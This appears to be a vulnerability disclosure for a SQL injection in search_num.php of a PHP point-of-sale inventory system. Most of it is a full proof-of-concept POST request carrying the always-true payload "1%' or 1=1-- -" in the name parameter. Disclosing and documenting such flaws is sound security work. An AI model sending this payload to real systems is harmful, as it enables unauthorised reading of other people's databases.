https://code-projects.org/pos-inventory-system-using-php-source-code/
search_num.php via name parameter
In /user/search_num.php, there is a SQL injection vulnerability. The parameter that can be controlled is $search. This function executes the search parameter into the SQL statement without any restrictions. A malicious attacker could exploit this vulnerability to obtain sensitive information from the server database.
POST /POS_inventory/user/search_num.php HTTP/1.1
Host: localhost
Content-Length: 12
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="131", "Not_A Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Accept-Language: en-US,en;q=0.9
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.140 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=efr9d42glf5s6l2qp92e9rk9g1
Connection: keep-alive
name=1%' or 1=1-- -&num=1
Masamune